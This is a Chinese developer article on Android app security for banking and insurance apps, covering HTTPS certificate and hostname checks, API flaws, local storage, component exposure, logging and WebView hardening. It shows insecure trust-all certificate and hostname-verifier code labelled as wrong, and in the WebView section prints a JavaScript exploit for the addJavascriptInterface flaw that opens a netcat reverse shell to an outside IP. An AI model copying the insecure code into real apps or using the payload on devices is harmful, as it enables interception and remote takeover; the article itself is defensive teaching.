# App信息安全

Java基础

浏览数:670

2019-8-21

随着移动互联网的发展,各大传统保险公司和银行金融公司都开发了自己的App,那么App的信息安全就变得非常重要了。如果App的安全级别不够那么会发生隐私泄露,更重要的会产生财产损失。下面我将从下面五点来考虑app的信息安全。

一、网络传输安全

分为三种方式:

1. 自定义Socket通信

需要自定义数据加密方式,选择加密算法,选择秘钥管理模式等等,在实现细节上需要考虑加密算法的实现机制、加密性能、秘钥的安全管理等。

2. Http通信

  • 数据传输是明文的,直接可以采用Charles等工具拦截数据。
  • http如果连接域名,可以通过DNS欺骗的方式将用户引入钓鱼网站。

3. Https通信

https客户端需要验证服务器下发证书的有效性。如果客户端忽略验证,就存在被中间人攻击的可能,

1. 使用WebView进行Https通信

1. 使用可信任机构颁发的证书

Android内置了一些可信任机构颁发的证书,可用于Https证书校验。WebView对可信任证书进行校验也是系统默认去做的。继承WebViewClient类重写如下方法:

public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
    super.onReceivedSslError(view, handler, error);
    //如下是错误的代码,相当于忽略证书校验
    //handler.proceed();
    //带有可信任机构颁发证书的Https站点这个方法中无需做任何操作。
}
2. 自签名证书

自签名的证书WebView加载网页会报错我们需要覆盖onReceivedSslError方法进行自签名证书的校验,点击这里查看

2. 使用HttpClient或HttpsURLConnection进行Https通信

对于仅需要获取Https站点返回数据,通常用HttpClient和HttpsURLConnection通信,证书校验有两个重要的类:X509TrustManager和HostnameVerifier,前者用于证书校验,后者用于域名校验。

1.X509TrustManager
1. 信任所有证书

如果信任所有证书,那么https将失去作用,攻击者可以使用自签名证书,来进行中间人攻击,拿到通信的数据。也可以结合DNS欺骗,是用户访问恶意网站,造成信息泄露。
如下错误的例子:

private static class TrustAllCAManager implements X509TrustManager {
    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType)
            throws CertificateException {
            //不做任何校验
    }

    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType)
            throws CertificateException {
            //不做任何校验
    }

    @Override
    public X509Certificate[] getAcceptedIssuers() {
        //不做任何校验
        return new X509Certificate[0];
    }
}
2. 信任可信机构颁发的Https证书

开发者无需实现X509TrustManager接口,Android可以使用系统自带的证书校验机制,如下代码:

SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(null, null, new SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());
//上面代码都是默认代码,可信任机构颁发的CA证书可以不用写上面代码直接用如下代码进行网络请求,Android系统会自动校验
HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL("url").openConnection();
3. 信任自签名Https证书

如果是自签名的证书,那么只能手动实现X509TrustManager接口来信任证书,如下代码:

public static KeyStore getKeyStore() {
        //多个证书,有的时候因为证书过期需要客户端适配
        String[] certs = new String[]{CERT, CERT1, CERT2};
        try {
            String keyStoreType = KeyStore.getDefaultType();
            KeyStore keyStore = KeyStore.getInstance(keyStoreType);
            keyStore.load(null, null);

            for (int i = 0; i < certs.length; i++) {
                InputStream inputStream = new ByteArrayInputStream(certs[i].getBytes("UTF-8"));
                CertificateFactory cf = CertificateFactory.getInstance("X.509");
                Certificate ca = null;
                try {
                    ca = cf.generateCertificate(inputStream);
//                System.out.println("ca=" + ((X509Certificate) ca).getSubjectDN());
                } catch (Exception e) {
                    e.printStackTrace();
                } finally {
                    inputStream.close();
                }
                if (null != ca) {
                    keyStore.setCertificateEntry("ca" + i, ca);
                }
            }
            return keyStore;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
}

public static void trustCertificate(HttpsURLConnection httpsURLConnection) {
        try {
            KeyStore keyStore = getKeyStore();
            String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
            TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
            tmf.init(keyStore);
            final SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(null, tmf.getTrustManagers(), null);
        } catch (Exception e) {
            e.printStackTrace();
        }
}
1.HostnameVerifier

用于实现Https通信中域名安全校验,验证当前链接的Https的站点和SSL证书中的域名是否相等。
错误代码:

client.setHostnameVerifier(new HostnameVerifier() {
    @Override
    public boolean verify(String hostname, SSLSession sslSession) {
        //不做任何验证直接返回true
        return true;
    }
});
//使用自带不安全的HostnameVerifier,如下代码       httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

正确代码:

request.setHostnameVerifier(new HostnameVerifier() {
    @Override
    public boolean verify(String hostname, SSLSession session) {
                // TODO Auto-generated method stub
                try {
                    String peerHost = session.getPeerHost(); //服务器返回的主机名
                    String str_new = "";
                    X509Certificate[] peerCertificates = (X509Certificate[]) session
                            .getPeerCertificates();
                    for (X509Certificate certificate : peerCertificates) {
                        X500Principal subjectX500Principal = certificate
                                .getSubjectX500Principal();
                        String name = subjectX500Principal.getName();
                        String[] split = name.split(",");
                        for (String str : split) {
                            if (str.startsWith("CN")) {//证书绑定的域名或者ip
                                if (peerHost.equals(hostname)&&str.contains("客户端预埋的证书cn字段域名")) {
                                    return true;
                                }
                            }
                        }
                    }
                } catch (SSLPeerUnverifiedException e1) {
                    // TODO Auto-generated catch block
                    e1.printStackTrace();
                }
                return false;
    }
});   
//使用自带的安全的HostnameVerifier
httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.STRICT_HOSTNAME_VERIFIER);

3. 接口漏洞

  1. 假如用户User在某电商App上的订单详情为http://www.xxxx.com/orderdetail?orderid=123, 如果接口没有对登录信息做验证(登录Token),只凭借一个orderid获取数据,那么攻击者就可以从orderid=0开始一直遍历到9999,那么将会造成大量的订单信息泄露。
  2. 假如增加积分接口没有进行校验,那么我抓到一个增加积分的接口,偷换里面的userid,那么很多没有完成任务的用户都被加上积分了,造成公司的损失。
  3. 如果验证码没有次数控制,也没有识别是人操作还是机器操作,那么极容易形成短信轰炸。

登录流程:

  1. 不允许在app本地保存用户名和密码
  2. 登录验证通过后服务器下发token,客户端使用token进行身份验证
  3. token应该保存在app的内部存储空间中,不允许其他app访问。
  4. 登录接口要增加验证码且控制短信下发次数。

二、本地缓存安全

1. 敏感信息

敏感信息泄漏有可能会危害到用户的财产损失和隐私泄漏,敏感信息大概有如下几个方面:
用户信息:姓名,身份证,生日,手机号,银行卡号,持卡人,有效期,验证码(CAV2/CVV2/CVC2/CID),卡号后四位
订单信息:订单列表,订单详情,收件人信息,被保险人信息
卡券信息:各种优惠卡,打折卡,礼品卡
日志信息:登录、行为、token等私有日志

  1. 不允许将密码、卡券信息、支付相关信息保存在本地
  2. 理论上是不允许敏感信息保存在本地的,但是由于有些信息使用非常频繁,如果确定要保存在本地那么只能保存到私有存储空间里,并且使用AES256加密算法进行加密。
  3. app端显示敏感信息,请将敏感信息部分脱敏,常用的就是加*屏蔽处理。

2. 外部存储(external storage)

敏感信息不允许保存在外部存储。外部存储分三种形式:

  1. Environment.getExternalStorageDirectory().getAbsoluteFile()+ File.separator +”CustomDir” + File.separator + “CustomFileName”;用这种方式存储数据,不会被应用详情中的”清除数据“和”清除缓存“删除。App卸载也不会被Android系统自动删除。
  2. mContext.getExternalFilesDir(null).getAbsoluteFile()+ File.separator +”CustomDir” + File.separator + “CustomFileName”;这种方式存储数据,会被”清除数据“所删除,App卸载也会被Android系统自动删除。路径为/Sdcard/Android/data/<package>/files/<customfile>
  3. mContext.getExternalCacheDir().getAbsoluteFile()+ File.separator +”CustomDir” + File.separator + “CustomFileName”;这种方式存储数据,会被”清除缓存“所删除,App卸载也会被Android系统自动删除。路径为/Sdcard/Android/data/<package>/cache/<customfile>

3. 内部存储(internal storage)

内部存储路径/data/data/<package>。通过context.getFilesDir()或context.getCacheDir()获取路径data/data/<package>/files或data/data/<package>/cache

  1. 存储包含敏感信息的文件必须使用内部存储
  2. 存储模式必须设置MODE_PRIVATE
  3. 敏感信息必须加密且加密算法符合安全规范

4. 本地数据库

  1. 数据库保存在内部存储中,并设置MODE_PRIVATE
  2. 如果要对其他app提供数据使用contentprovider
  3. SQL语句避免采用拼接参数的方式,采用参数化的方式ContentValues绑定参数

5. 图片保存

1.保存图片中包含用户敏感信息,应该是用户主动出发,并且提示用户”图片包含敏感信息,使用完请删除“
2.保存路径应该是系统相册的目录

三、源码安全

1. Activity

activity如果使用不当会导致一些安全问题,例如:android:exported=”true”的Activity如果返回了敏感信息,攻击者就会轻松的吊起这个public activity来获取隐私,或者攻击者会给这个public activity传递脏数据,导致app崩溃。
activity分四个等级权限由高到底

1. 内部使用(private)

仅仅适用于app内部使用,外部app无法调用;将android:exported=”true”设置成true这样外部app就无法调用

2. 签名相同(in-house)

1.定义权限如下代码,调用activity必须符合如下权限

<permission android:name="com.xxx.xxx.XXX"
        android:protectionLevel="signature"/>

2.声明activity如下代码,必须保证外部app可以调用android:exported=true,必须保证外部app调用时需要申请权限android:permission=”com.xxx.xxx.XXX”

 <activity android:name=".AActivity"
            android:exported="true"
            android:permission="com.xxx.xxx.XXX"/>

3.其他app调用这个Activity如下代码

    //AndroidManifest.xml申请权限
    <uses-permission android:name="com.xxx.xxx.XXX"/>
    //Activity校验被调用的activity签名是否一致
    //如果一致调用Activity同时传递参数使用putExtra方式传递
    if(checkSignSha1()){
            //签名相同,跳转到Activity
            //putExtra方式传递
    }else{
            //签名不相同
    }
    
    private boolean checkSignSha1(){
        String curSha1 = getSignSha1(this.getPackageName());
        String partnerSha1 = getSignSha1("partner package");
        return curSha1.equals(partnerSha1);
    }
    /**
     * 开始获得签名
     *
     * @param packageName 报名
     * @return
     */
    private String getSignSha1(String packageName) {
        Signature[] arrayOfSignature = getRawSignature(this, packageName);
        if ((arrayOfSignature == null) || (arrayOfSignature.length == 0)) {
//            errout("signs is null");
            return null;
        }
        return getMessageDigest(arrayOfSignature[0].toByteArray());
    }

    private Signature[] getRawSignature(Context paramContext, String paramString) {
        if ((paramString == null) || (paramString.length() == 0)) {
//            errout("获取签名失败,包名为 null");
            return null;
        }
        PackageManager localPackageManager = paramContext.getPackageManager();
        PackageInfo localPackageInfo;
        try {
            localPackageInfo = localPackageManager.getPackageInfo(paramString, PackageManager.GET_SIGNATURES);
            if (localPackageInfo == null) {
//                errout("信息为 null, 包名 = " + paramString);
                return null;
            }
        } catch (PackageManager.NameNotFoundException localNameNotFoundException) {
//            errout("包名没有找到...");
            return null;
        }
        return localPackageInfo.signatures;
    }

    public static final String getMessageDigest(byte[] cert) {
        MessageDigest md = null;
        try {
            md = MessageDigest.getInstance("SHA1");
            byte[] publicKey = md.digest(cert);
            StringBuffer hexString = new StringBuffer();
            for (int i = 0; i < publicKey.length; i++) {
                String appendString = Integer.toHexString(0xFF & publicKey[i])
                        .toUpperCase(Locale.US);
                if (appendString.length() == 1)
                    hexString.append("0");
                hexString.append(appendString);
                hexString.append(":");
            }
            String result = hexString.toString();
            return result.substring(0, result.length() - 1);
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
        return null;
}

3. 合作伙伴(partner)

该Activity只能被合作伙伴调用,我们在Activity.onCreate增加白名单机制,如果不符合白名单无法进入页面。
1.android:exported=true
2.activity.oncreate 白名单校验

4. 公开使用(public)

可以被任何app访问,要小心控制输入进来的数据:
1.android:exported=true
2.谨慎控制收到的Intent数据,不应该根据Intent中的数据来判断后续的流程
3.不要返回敏感信息

2. Service

1. 内部Service(private)

1.android:exported=false
2.如果是推送消息最好使用内部Service,防止恶意软件停掉推送

2. 外部Service(public)

1.android:exported=true
2.通过Intent传递敏感信息需要加密传输

3. ContentProvider

对contentprovider的使用也是需要注意的;敏感信息保存在 私有的contentprovider,否则会造成隐私泄露。

4. 日志

1.Release版本不允许想LogCat中输出任何日志
2.Debug版本App打印信息只允许android.util.Log中的方法,不允许使用System.out和System.err相关方法打印
3.Debug如果要打印敏感信息需要加密
4.在导出Release中使用Proguard的配置文件来去掉Log

-assumenosideeffects class android.util.Log {
     public static boolean isLoggable(java.lang.String, int);
     public static int v(...);
     public static int i(...);
     public static int w(...);
     public static int d(...);
     public static int e(...);
}

四、WebView安全

1. JavascriptInterface导致远程代码漏洞

漏洞发生条件:
1.Android <=4.1.2 (API 16)
2.webview 开启JavascriptInterface
3.WebView加载恶意Url页面
假如:恶意网站加载包含如下js代码的url页面,在Javascript代码中,利用Java反射机制,通过interfaceObject获取当前Runtime对象引用,并调用其exec方法执行nc命令连接服务器8088及8089端口。
这只是其中攻击手段之一,还可以给指定号码发送短信等其他攻击手段

<script type="text/javascript">
function check()
{
  for (var obj in window)
   {
      try {
            if ("getClass" in window[obj]) {
                   try{
                         ret= interfaceObject.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','nc 192.168.1.101 8088|/system/bin/sh|nc 192.168.1.101 8089']);
                   }catch(e){
                        }
            }
      } catch(e) {
                 }
   }
} check();
</script>

如果必须开启JavascriptInterface,那么需要保证加载的url是安全的在每个native java代码中进行安全校验

2. WebView加载内部资源

1.apk内部资源文件
2.apk中公司信任的URL
安全规范:
1.不要加载除页面资源以外的文件,setAllowFileAccess(false)
对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript

setAllowFileAccess(true); 

// 禁止 file 协议加载 JavaScript
if (url.startsWith("file://") {
    setJavaScriptEnabled(false);
} else {
    setJavaScriptEnabled(true);
}

2.加载URL的时候使用Https协议
3.在WebViewClient.shouldOverrideUrlLoading中校验url是否是白名单

@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if(isWhiteList()){
        view.loadUrl(url);
    }else{
        //错误处理
    }
    return true;
}

3.WebView加载外部资源

1.apk外部文件
2.非信任的url
3.用户指定的资源
安全规范:
1.没有明确需求不要开启Javascript支持(addJavascriptInterface),如果必须开启那么需要保证加载的url是安全的在每个native java代码中进行安全校验;
2.对于3.0版本只有的WebView默认内置了一些JavascriptInterface,分别是searchBoxJavaBridge_、accessibility、accessibilityTraversal,对于加载外部资源应该调用removeJavascriptInterface()方法删除内置的三个JavascriptInterface对象
3.不要开启浏览器插件支持setPluginState(WebSettings.PluginState.OFF);
4.不要开启本地文件访问setAllowFileAccess(false)

五、编译级别安全

1.Release版本中android:allowBackup=”false”
2.Release版本中android:debuggable=”false”
3.对代码进行混淆
4.对app进行加固例如:爱加密、360加固保等第三方工具

六、交互层面的安全

1.单点,或者多点登录,不允许一个手机号无限制的登录
2.敏感信息页面用户切换到后台,后台任务列表中应该是空白,不应该保留当前页面的快照
3.敏感信息页面展示脱敏
4.登录手势验证,隔一段时间如果要进入敏感页面需要弹出手势验证,如果不设置手势最严格的控制需要短信验证码验证
5.输入法,因为输入法是第三方app,说以非常容易造成信息泄露的,身份信息,账号密码都是由输入法输入的,输入法在系统层面时刻保持存活,可以采取自定义安全键盘,让app使用自己的键盘并且每次弹出输入法,或者App重新启动安全键盘的字母顺序都会改变等策略。

参考资料如下:
[android开发篇]自定义权限
Android Webview SSL 自签名安全校验解决方案
DNS欺骗攻击
HTTPS连接过程以及中间人攻击劫持
你不知道的 Android WebView 使用漏洞

作者:码农一颗颗